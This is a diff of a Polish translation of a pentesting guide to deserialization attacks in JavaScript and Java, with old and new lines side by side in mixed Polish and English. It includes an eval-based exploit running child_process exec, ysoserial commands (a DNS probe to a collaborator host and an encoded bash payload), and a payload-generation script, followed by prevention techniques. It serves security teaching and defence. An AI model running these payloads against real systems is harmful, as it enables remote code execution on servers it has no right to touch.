funcster.deepDeserialize(desertest3)
|
||||||
```
|
```
|
||||||
**Aby**[ **uzyskać więcej informacji, przeczytaj to źródło**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
**Aby uzyskać więcej informacji przeczytaj**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||||
|
|
||||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||||
|
|
||||||
Pakiet **serialize-javascript** jest zaprojektowany wyłącznie do celów serializacji, nie posiada żadnych wbudowanych możliwości deserializacji. Użytkownicy są odpowiedzialni za wdrożenie własnej metody deserializacji. Bezpośrednie użycie `eval` jest sugerowane przez oficjalny przykład do deserializacji danych serializowanych:
|
Pakiet **serialize-javascript** jest przeznaczony wyłącznie do celów serialization i nie posiada żadnych wbudowanych możliwości deserialization. Użytkownicy są odpowiedzialni za zaimplementowanie własnej metody deserialization. W oficjalnym przykładzie sugerowane jest bezpośrednie użycie `eval` do deserializing serialized data:
|
||||||
```javascript
|
```javascript
|
||||||
function deserialize(serializedJavascript) {
|
function deserialize(serializedJavascript) {
|
||||||
return eval("(" + serializedJavascript + ")")
|
return eval("(" + serializedJavascript + ")")
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Jeśli ta funkcja jest używana do deserializacji obiektów, możesz **łatwo to wykorzystać**:
|
Jeśli ta funkcja jest używana do deserialize obiektów, możesz **easily exploit it**:
|
||||||
```javascript
|
```javascript
|
||||||
var serialize = require("serialize-javascript")
|
var serialize = require("serialize-javascript")
|
||||||
//Serialization
|
//Serialization
|
||||||
@ -356,90 +360,100 @@ var test =
|
|||||||
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||||
deserialize(test)
|
deserialize(test)
|
||||||
```
|
```
|
||||||
**Aby**[ **uzyskać więcej informacji, przeczytaj to źródło**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
**Dla**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||||
|
|
||||||
### Biblioteka Cryo
|
### Biblioteka Cryo
|
||||||
|
|
||||||
Na poniższych stronach znajdziesz informacje o tym, jak nadużywać tej biblioteki do wykonywania dowolnych poleceń:
|
Na kolejnych stronach znajdziesz informacje o tym, jak wykorzystać tę bibliotekę do wykonania dowolnych poleceń:
|
||||||
|
|
||||||
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
||||||
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
||||||
|
|
||||||
## Java - HTTP
|
## Java - HTTP
|
||||||
|
|
||||||
W Javie **wywołania zwrotne deserializacji są wykonywane podczas procesu deserializacji**. To wykonanie może być wykorzystywane przez atakujących, którzy tworzą złośliwe ładunki, które wyzwalają te wywołania zwrotne, prowadząc do potencjalnego wykonania szkodliwych działań.
|
W Java, **deserialization callbacks are executed during the process of deserialization**. To zachowanie może zostać wykorzystane przez atakujących, którzy przygotują malicious payloads wywołujące te callbacki, co może skutkować wykonaniem złośliwych działań.
|
||||||
|
|
||||||
### Odciski palców
|
### Sygnatury
|
||||||
|
|
||||||
#### Biała skrzynka
|
#### White Box
|
||||||
|
|
||||||
Aby zidentyfikować potencjalne luki w serializacji w kodzie, poszukaj:
|
Aby zidentyfikować potencjalne serialization vulnerabilities w kodzie źródłowym, wyszukaj:
|
||||||
|
|
||||||
- Klas implementujących interfejs `Serializable`.
|
- Klasy implementujące interfejs `Serializable`.
|
||||||
- Użycia funkcji `java.io.ObjectInputStream`, `readObject`, `readUnshared`.
|
- Użycie `java.io.ObjectInputStream`, funkcji `readObject`, `readUnshare`.
|
||||||
|
|
||||||
Zwróć szczególną uwagę na:
|
Zwróć szczególną uwagę na:
|
||||||
|
|
||||||
- `XMLDecoder` wykorzystywany z parametrami definiowanymi przez zewnętrznych użytkowników.
|
- `XMLDecoder` używany z parametrami definiowanymi przez zewnętrznych użytkowników.
|
||||||
- Metodę `fromXML` w `XStream`, szczególnie jeśli wersja XStream jest mniejsza lub równa 1.46, ponieważ jest podatna na problemy z serializacją.
|
- Metodę `fromXML` XStream, szczególnie jeśli wersja XStream jest mniejsza lub równa 1.46, ponieważ jest podatna na problemy związane z serialization.
|
||||||
- `ObjectInputStream` w połączeniu z metodą `readObject`.
|
- `ObjectInputStream` w połączeniu z metodą `readObject`.
|
||||||
- Implementację metod takich jak `readObject`, `readObjectNodData`, `readResolve` lub `readExternal`.
|
- Implementacje metod takich jak `readObject`, `readObjectNodData`, `readResolve`, lub `readExternal`.
|
||||||
- `ObjectInputStream.readUnshared`.
|
- `ObjectInputStream.readUnshared`.
|
||||||
- Ogólne użycie `Serializable`.
|
- Ogólne użycie `Serializable`.
|
||||||
|
|
||||||
#### Czarna skrzynka
|
#### Black Box
|
||||||
|
|
||||||
W przypadku testowania czarnej skrzynki, poszukaj specyficznych **sygnatur lub "Magic Bytes"**, które oznaczają obiekty serializowane w Javie (pochodzące z `ObjectInputStream`):
|
Podczas black box testing zwracaj uwagę na specyficzne **signatures or "Magic Bytes"**, które wskazują na java serialized objects (pochodzące z `ObjectInputStream`):
|
||||||
|
|
||||||
- Wzór szesnastkowy: `AC ED 00 05`.
|
- Wzorzec heksadecymalny: `AC ED 00 05`.
|
||||||
- Wzór Base64: `rO0`.
|
- Wzorzec Base64: `rO0`.
|
||||||
- Nagłówki odpowiedzi HTTP z `Content-type` ustawionym na `application/x-java-serialized-object`.
|
- Nagłówki odpowiedzi HTTP z `Content-type` ustawionym na `application/x-java-serialized-object`.
|
||||||
- Wzór szesnastkowy wskazujący na wcześniejsze kompresowanie: `1F 8B 08 00`.
|
- Wzorzec heksadecymalny wskazujący na wcześniejszą kompresję: `1F 8B 08 00`.
|
||||||
- Wzór Base64 wskazujący na wcześniejsze kompresowanie: `H4sIA`.
|
- Wzorzec Base64 wskazujący na wcześniejszą kompresję: `H4sIA`.
|
||||||
- Pliki internetowe z rozszerzeniem `.faces` i parametrem `faces.ViewState`. Odkrycie tych wzorów w aplikacji internetowej powinno skłonić do zbadania, jak opisano w [poście o deserializacji Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
|
- Pliki webowe z rozszerzeniem `.faces` i parametr `faces.ViewState`. Odnalezienie tych wzorców w aplikacji webowej powinno skłonić do analizy zgodnie z opisem w [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md).
|
||||||
```
|
```
|
||||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||||
```
|
```
|
||||||
### Sprawdź, czy jest podatny
|
### Sprawdź, czy istnieje podatność
|
||||||
|
|
||||||
Jeśli chcesz **dowiedzieć się, jak działa exploit deserializacji w Javie**, powinieneś zapoznać się z [**Podstawową deserializacją Javy**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserializacją DNS w Javie**](java-dns-deserialization-and-gadgetprobe.md) oraz [**ładunkiem CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
Jeśli chcesz **dowiedzieć się, jak działa Java Deserialized exploit** powinieneś zapoznać się z [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), oraz [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||||||
|
|
||||||
#### Test białego pudełka
|
#### SignedObject-gated deserialization and pre-auth reachability
|
||||||
|
|
||||||
Możesz sprawdzić, czy zainstalowana jest jakakolwiek aplikacja z znanymi lukami.
|
W nowoczesnych codebases deserialization bywa opakowywana w `java.security.SignedObject`, a podpis jest weryfikowany przed wywołaniem `getObject()` (które deserializuje wewnętrzny obiekt). Uniemożliwia to użycie dowolnych top-level gadget classes, ale nadal może być exploitable, jeśli atakujący zdobędzie ważny podpis (np. private-key compromise lub signing oracle). Dodatkowo, przepływy obsługi błędów mogą mintować session-bound tokens dla unauthenticated users, ujawniając wcześniej chronione sinks pre-auth.
|
||||||
|
|
||||||
|
Dla konkretnego studium przypadku z requests, IoCs, i wskazówkami dotyczącymi hardeningu, zobacz:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
java-signedobject-gated-deserialization.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
#### White Box Test
|
||||||
|
|
||||||
|
Możesz sprawdzić, czy zainstalowano jakąkolwiek aplikację z znanymi podatnościami.
|
||||||
```bash
|
```bash
|
||||||
find . -iname "*commons*collection*"
|
find . -iname "*commons*collection*"
|
||||||
grep -R InvokeTransformer .
|
grep -R InvokeTransformer .
|
||||||
```
|
```
|
||||||
Możesz spróbować **sprawdzić wszystkie biblioteki**, które są znane jako podatne i dla których [**Ysoserial**](https://github.com/frohoff/ysoserial) może dostarczyć exploit. Możesz również sprawdzić biblioteki wskazane w [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
You could try to **sprawdzić wszystkie biblioteki** znane jako podatne i dla których [**Ysoserial** ](https://github.com/frohoff/ysoserial) może dostarczyć exploit. Albo możesz sprawdzić biblioteki wskazane na [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||||
Możesz także użyć [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector), aby wyszukać możliwe łańcuchy gadgetów, które można wykorzystać.\
|
Możesz też użyć [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) do przeszukania możliwych gadget chainów, które da się wykorzystać.\
|
||||||
Podczas uruchamiania **gadgetinspector** (po zbudowaniu) nie przejmuj się mnóstwem ostrzeżeń/błędów, przez które przechodzi, i pozwól mu zakończyć. Zapisze wszystkie wyniki w _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Proszę zauważyć, że **gadgetinspector nie stworzy exploita i może wskazywać fałszywe pozytywy**.
|
Podczas uruchamiania **gadgetinspector** (po zbudowaniu) nie zwracaj uwagi na masę warningów/errów, przez które przechodzi i pozwól mu się dokończyć. Zapisze wszystkie wyniki w _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Proszę zwrócić uwagę, że **gadgetinspector nie stworzy exploita i może wskazywać false positives**.
|
||||||
|
|
||||||
#### Test Black Box
|
#### Black Box Test
|
||||||
|
|
||||||
Używając rozszerzenia Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), możesz zidentyfikować **które biblioteki są dostępne** (a nawet ich wersje). Z tą informacją może być **łatwiej wybrać ładunek** do wykorzystania podatności.\
|
Używając rozszerzenia Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) możesz zidentyfikować **które biblioteki są dostępne** (a nawet ich wersje). Z tą informacją może być **łatwiej wybrać payload**, aby wykorzystać podatność.\
|
||||||
[**Przeczytaj to, aby dowiedzieć się więcej o GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
[**Przeczytaj to, aby dowiedzieć się więcej o GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||||
GadgetProbe koncentruje się na **deserializacjach `ObjectInputStream`**.
|
GadgetProbe koncentruje się na deserializacjach **`ObjectInputStream`**.
|
||||||
|
|
||||||
Używając rozszerzenia Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), możesz **zidentyfikować podatne biblioteki** możliwe do wykorzystania z ysoserial i **wykorzystać** je.\
|
Używając rozszerzenia Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) możesz **zidentyfikować podatne biblioteki** wykorzystywalne przez ysoserial i **eksploitować** je.\
|
||||||
[**Przeczytaj to, aby dowiedzieć się więcej o Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
[**Przeczytaj to, aby dowiedzieć się więcej o Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||||
Java Deserialization Scanner koncentruje się na **deserializacjach `ObjectInputStream`**.
|
Java Deserialization Scanner skupia się na deserializacjach **`ObjectInputStream`**.
|
||||||
|
|
||||||
Możesz także użyć [**Freddy**](https://github.com/nccgroup/freddy), aby **wykryć podatności deserializacji** w **Burp**. Ten plugin wykryje **nie tylko podatności związane z `ObjectInputStream`**, ale **także** podatności z bibliotek deserializacji **Json** i **Yml**. W trybie aktywnym spróbuje je potwierdzić, używając ładunków sleep lub DNS.\
|
Możesz też użyć [**Freddy**](https://github.com/nccgroup/freddy) aby **wykrywać podatności deserializacji** w **Burp**. Ten plugin wykryje **nie tylko problemy związane z `ObjectInputStream`**, ale **także** podatności wynikające z bibliotek deserializacji **Json** i **Yml**. W trybie aktywnym spróbuje je potwierdzić używając payloadów sleep lub DNS.\
|
||||||
[**Możesz znaleźć więcej informacji o Freddy tutaj.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
[**Więcej informacji o Freddy znajdziesz tutaj.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||||
|
|
||||||
**Test Serializacji**
|
**Serialization Test**
|
||||||
|
|
||||||
Nie wszystko polega na sprawdzaniu, czy jakakolwiek podatna biblioteka jest używana przez serwer. Czasami możesz być w stanie **zmienić dane wewnątrz zserializowanego obiektu i obejść niektóre kontrole** (może przyznać ci uprawnienia administratora w aplikacji webowej).\
|
Nie chodzi tylko o sprawdzenie, czy serwer używa jakiejś podatnej biblioteki. Czasami możesz być w stanie **zmienić dane w serializowanym obiekcie i ominąć pewne kontrole** (może to dać Ci uprawnienia admina w webappie).\
|
||||||
Jeśli znajdziesz zserializowany obiekt java wysyłany do aplikacji webowej, **możesz użyć** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper), **aby wydrukować w bardziej czytelny sposób zserializowany obiekt, który jest wysyłany**. Wiedząc, jakie dane wysyłasz, łatwiej będzie je zmodyfikować i obejść niektóre kontrole.
|
Jeśli znajdziesz obiekt java serialized wysyłany do aplikacji webowej, **możesz użyć** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **aby wydrukować w bardziej czytelny sposób obiekt serializacji, który jest wysyłany**. Wiedząc, jakie dane wysyłasz, łatwiej będzie je zmodyfikować i obejść niektóre kontrole.
|
||||||
|
|
||||||
### **Eksploit**
|
### **Exploit**
|
||||||
|
|
||||||
#### **ysoserial**
|
#### **ysoserial**
|
||||||
|
|
||||||
Głównym narzędziem do eksploatacji deserializacji Java jest [**ysoserial**](https://github.com/frohoff/ysoserial) ([**pobierz tutaj**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Możesz także rozważyć użycie [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), które pozwoli ci używać złożonych poleceń (na przykład z użyciem potoków).\
|
Głównym narzędziem do eksploatacji Java deserializacji jest [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Możesz też rozważyć użycie [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), które pozwoli Ci używać złożonych poleceń (np. z pipes).\
|
||||||
Zauważ, że to narzędzie jest **skoncentrowane** na eksploatacji **`ObjectInputStream`**.\
|
Zauważ, że to narzędzie jest **skoncentrowane** na eksploatowaniu deserializacji **`ObjectInputStream`**.\
|
||||||
Zalecałbym **rozpoczęcie od ładunku "URLDNS"** **przed ładunkiem RCE**, aby sprawdzić, czy wstrzyknięcie jest możliwe. Tak czy inaczej, pamiętaj, że może być tak, że ładunek "URLDNS" nie działa, ale inny ładunek RCE działa.
|
Zacząłbym od użycia payloadu "URLDNS" **przed payloadem RCE**, aby przetestować, czy injekcja jest możliwa. Warto jednak pamiętać, że payload "URLDNS" może nie działać, podczas gdy inny payload RCE zadziała.
|
||||||
```bash
|
```bash
|
||||||
# PoC to make the application perform a DNS req
|
# PoC to make the application perform a DNS req
|
||||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||||
@ -484,9 +498,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
|||||||
# Base64 encode payload in base64
|
# Base64 encode payload in base64
|
||||||
base64 -w0 payload
|
base64 -w0 payload
|
||||||
```
|
```
|
||||||
Kiedy tworzysz ładunek dla **java.lang.Runtime.exec()**, **nie możesz używać znaków specjalnych** takich jak ">" lub "|" do przekierowania wyjścia z wykonania, "$()" do wykonywania poleceń, ani nawet **przekazywać argumentów** do polecenia oddzielonych **spacjami** (możesz zrobić `echo -n "hello world"`, ale nie możesz zrobić `python2 -c 'print "Hello world"'`). Aby poprawnie zakodować ładunek, możesz [użyć tej strony](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
When creating a payload for **java.lang.Runtime.exec()** you **cannot use special characters** like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even **pass arguments** to a command separated by **spaces** (you can do `echo -n "hello world"` but you can't do `python2 -c 'print "Hello world"'`). In order to encode correctly the payload you could [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||||
|
|
||||||
Możesz użyć następnego skryptu do stworzenia **wszystkich możliwych ładunków do wykonania kodu** dla Windows i Linux, a następnie przetestować je na podatnej stronie internetowej:
|
Feel free to use the next script to create **all the possible code execution** payloads for Windows and Linux and then test them on the vulnerable web page:
|
||||||
```python
|
```python
|
||||||
import os
|
import os
|
||||||
import base64
|
import base64
|
||||||
@ -509,11 +523,11 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
|||||||
```
|
```
|
||||||
#### serialkillerbypassgadgets
|
#### serialkillerbypassgadgets
|
||||||
|
|
||||||
Możesz **użyć** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **razem z ysoserial, aby stworzyć więcej exploitów**. Więcej informacji na temat tego narzędzia w **prezentacji z wykładu**, gdzie narzędzie zostało zaprezentowane: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
Możesz **użyć** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **wraz z ysoserial, aby stworzyć więcej exploitów**. Więcej informacji o tym narzędziu w **slajdach prezentacji**, w której narzędzie zostało zaprezentowane: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||||
|
|
||||||
#### marshalsec
|
#### marshalsec
|
||||||
|
|
||||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)może być używane do generowania ładunków do eksploatacji różnych **Json** i **Yml** bibliotek serializacji w Javie.\
|
[**marshalsec** ](https://github.com/mbechler/marshalsec) może być użyty do generowania payloadów do exploitowania różnych bibliotek serializacji **Json** i **Yml** w Java.\
|
||||||
Aby skompilować projekt, musiałem **dodać** te **zależności** do `pom.xml`:
|
Aby skompilować projekt, musiałem **dodać** te **zależności** do `pom.xml`:
|
||||||
```html
|
```html
|
||||||
<dependency>
|
<dependency>
|
||||||
@ -529,7 +543,7 @@ Aby skompilować projekt, musiałem **dodać** te **zależności** do `pom.xml`:
|
|||||||
<type>pom</type>
|
<type>pom</type>
|
||||||
</dependency>
|
</dependency>
|
||||||
```
|
```
|
||||||
**Zainstaluj maven**, a następnie **skompiluj** projekt:
|
**Zainstaluj maven** i **skompiluj** projekt:
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install maven
|
sudo apt-get install maven
|
||||||
mvn clean package -DskipTests
|
mvn clean package -DskipTests
|
||||||
@ -538,48 +552,48 @@ mvn clean package -DskipTests
|
|||||||
|
|
||||||
Przeczytaj więcej o tej bibliotece Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
Przeczytaj więcej o tej bibliotece Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||||
|
|
||||||
### Labs
|
### Laboratoria
|
||||||
|
|
||||||
- Jeśli chcesz przetestować kilka ładunków ysoserial, możesz **uruchomić tę aplikację webową**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
- Jeśli chcesz przetestować niektóre ysoserial payloads możesz **uruchomić tę webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||||
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||||
|
|
||||||
### Why
|
### Dlaczego
|
||||||
|
|
||||||
Java używa dużo serializacji do różnych celów, takich jak:
|
Java używa serializacji w wielu miejscach, np.:
|
||||||
|
|
||||||
- **Żądania HTTP**: Serializacja jest szeroko stosowana w zarządzaniu parametrami, ViewState, ciasteczkami itp.
|
- **HTTP requests**: Serialization jest szeroko stosowana w zarządzaniu parametrami, ViewState, cookies itp.
|
||||||
- **RMI (Remote Method Invocation)**: Protokół RMI w Javie, który w całości opiera się na serializacji, jest fundamentem komunikacji zdalnej w aplikacjach Java.
|
- **RMI (Remote Method Invocation)**: Protokół Java RMI, który opiera się całkowicie na serialization, jest fundamentem komunikacji zdalnej w aplikacjach Java.
|
||||||
- **RMI przez HTTP**: Ta metoda jest powszechnie używana przez aplikacje webowe oparte na Javie, wykorzystując serializację do wszystkich komunikacji obiektów.
|
- **RMI over HTTP**: Ta metoda jest powszechnie używana przez aplikacje typu thick client oparte na Javie, wykorzystując serialization do całej komunikacji obiektowej.
|
||||||
- **JMX (Java Management Extensions)**: JMX wykorzystuje serializację do przesyłania obiektów przez sieć.
|
- **JMX (Java Management Extensions)**: JMX wykorzystuje serialization do przesyłania obiektów przez sieć.
|
||||||
- **Niestandardowe protokoły**: W Javie standardową praktyką jest przesyłanie surowych obiektów Java, co zostanie zaprezentowane w nadchodzących przykładach exploitów.
|
- **Custom Protocols**: W Javie standardową praktyką jest transmisja raw Java objects, co zostanie zademonstrowane w nadchodzących exploit examples.
|
||||||
|
|
||||||
### Prevention
|
### Zapobieganie
|
||||||
|
|
||||||
#### Transient objects
|
#### Transient objects
|
||||||
|
|
||||||
Klasa, która implementuje `Serializable`, może oznaczyć jako `transient` każdy obiekt wewnątrz klasy, który nie powinien być serializowany. Na przykład:
|
Klasa, która implementuje `Serializable`, może oznaczyć jako `transient` dowolny obiekt wewnątrz klasy, który nie powinien być serializowany. Na przykład:
|
||||||
```java
|
```java
|
||||||
public class myAccount implements Serializable
|
public class myAccount implements Serializable
|
||||||
{
|
{
|
||||||
private transient double profit; // declared transient
|
private transient double profit; // declared transient
|
||||||
private transient double margin; // declared transient
|
private transient double margin; // declared transient
|
||||||
```
|
```
|
||||||
#### Unikaj serializacji klasy, która musi implementować Serializable
|
#### Unikaj serializacji klasy, która musi implementować `Serializable`
|
||||||
|
|
||||||
W scenariuszach, w których niektóre **obiekty muszą implementować interfejs `Serializable`** z powodu hierarchii klas, istnieje ryzyko niezamierzonej deserializacji. Aby temu zapobiec, upewnij się, że te obiekty są nie-deserializowalne, definiując metodę `final` `readObject()`, która zawsze zgłasza wyjątek, jak pokazano poniżej:
|
W scenariuszach, gdzie **obiekty muszą implementować interfejs `Serializable`** ze względu na hierarchię klas, istnieje ryzyko niezamierzonej deserializacji. Aby temu zapobiec, upewnij się, że te obiekty nie są możliwe do deserializacji, definiując `final` metodę `readObject()`, która za każdym razem rzuca wyjątek, jak pokazano poniżej:
|
||||||
```java
|
```java
|
||||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||||
throw new java.io.IOException("Cannot be deserialized");
|
throw new java.io.IOException("Cannot be deserialized");
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
#### **Zwiększanie bezpieczeństwa deserializacji w Javie**
|
#### **Zwiększanie bezpieczeństwa deserializacji w Java**
|
||||||
|
|
||||||
**Dostosowanie `java.io.ObjectInputStream`** to praktyczne podejście do zabezpieczania procesów deserializacji. Metoda ta jest odpowiednia, gdy:
|
**Dostosowywanie `java.io.ObjectInputStream`** to praktyczne podejście do zabezpieczenia procesów deserializacji. Ta metoda jest odpowiednia, gdy:
|
||||||
|
|
||||||
- Kod deserializacji jest pod Twoją kontrolą.
|
- Kod deserializacji jest pod Twoją kontrolą.
|
||||||
- Klasy oczekiwane do deserializacji są znane.
|
- Klasy spodziewane do deserializacji są znane.
|
||||||
|
|
||||||
Nadpisz metodę **`resolveClass()`**, aby ograniczyć deserializację tylko do dozwolonych klas. Zapobiega to deserializacji jakiejkolwiek klasy, z wyjątkiem tych wyraźnie dozwolonych, jak w poniższym przykładzie, który ogranicza deserializację tylko do klasy `Bicycle`:
|
Zastąp metodę **`resolveClass()`** aby ograniczyć deserializację tylko do dozwolonych klas. To zapobiega deserializacji dowolnej klasy poza tymi wyraźnie dozwolonymi, jak w poniższym przykładzie, który ogranicza deserializację tylko do klasy `Bicycle`:
|
||||||
```java
|
```java
|
||||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||||
@ -600,17 +614,17 @@ return super.resolveClass(desc);
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
**Używanie agenta Java do zwiększenia bezpieczeństwa** oferuje rozwiązanie awaryjne, gdy modyfikacja kodu nie jest możliwa. Metoda ta dotyczy głównie **czarnej listy szkodliwych klas**, przy użyciu parametru JVM:
|
**Using a Java Agent for Security Enhancement** oferuje rozwiązanie awaryjne, gdy modyfikacja kodu nie jest możliwa. Ta metoda dotyczy głównie **blacklisting harmful classes**, przy użyciu parametru JVM:
|
||||||
```
|
```
|
||||||
-javaagent:name-of-agent.jar
|
-javaagent:name-of-agent.jar
|
||||||
```
|
```
|
||||||
Zapewnia sposób na dynamiczne zabezpieczenie deserializacji, idealny dla środowisk, w których natychmiastowe zmiany w kodzie są niepraktyczne.
|
Zapewnia sposób na zabezpieczenie deserialization w sposób dynamiczny, idealny dla środowisk, w których natychmiastowe zmiany w kodzie są niepraktyczne.
|
||||||
|
|
||||||
Sprawdź przykład w [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
Zobacz przykład w [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||||
|
|
||||||
**Implementacja filtrów serializacji**: Java 9 wprowadziła filtry serializacji za pomocą interfejsu **`ObjectInputFilter`**, co zapewnia potężny mechanizm do określania kryteriów, które zserializowane obiekty muszą spełniać przed deserializacją. Filtry te mogą być stosowane globalnie lub na poziomie strumienia, oferując szczegółową kontrolę nad procesem deserializacji.
|
**Wdrażanie filtrów serializacji**: Java 9 wprowadził serialization filters za pomocą interfejsu **`ObjectInputFilter`**, dostarczając potężny mechanizm umożliwiający określenie kryteriów, które serialized objects muszą spełniać przed ich deserialization. Filtry te można zastosować globalnie lub per stream, zapewniając granularną kontrolę nad procesem deserialization.
|
||||||
|
|
||||||
Aby skorzystać z filtrów serializacji, możesz ustawić filtr globalny, który stosuje się do wszystkich operacji deserializacji lub skonfigurować go dynamicznie dla konkretnych strumieni. Na przykład:
|
Aby korzystać z serialization filters, można ustawić globalny filtr mający zastosowanie do wszystkich operacji deserialization lub skonfigurować go dynamicznie dla konkretnych streamów. Na przykład:
|
||||||
```java
|
```java
|
||||||
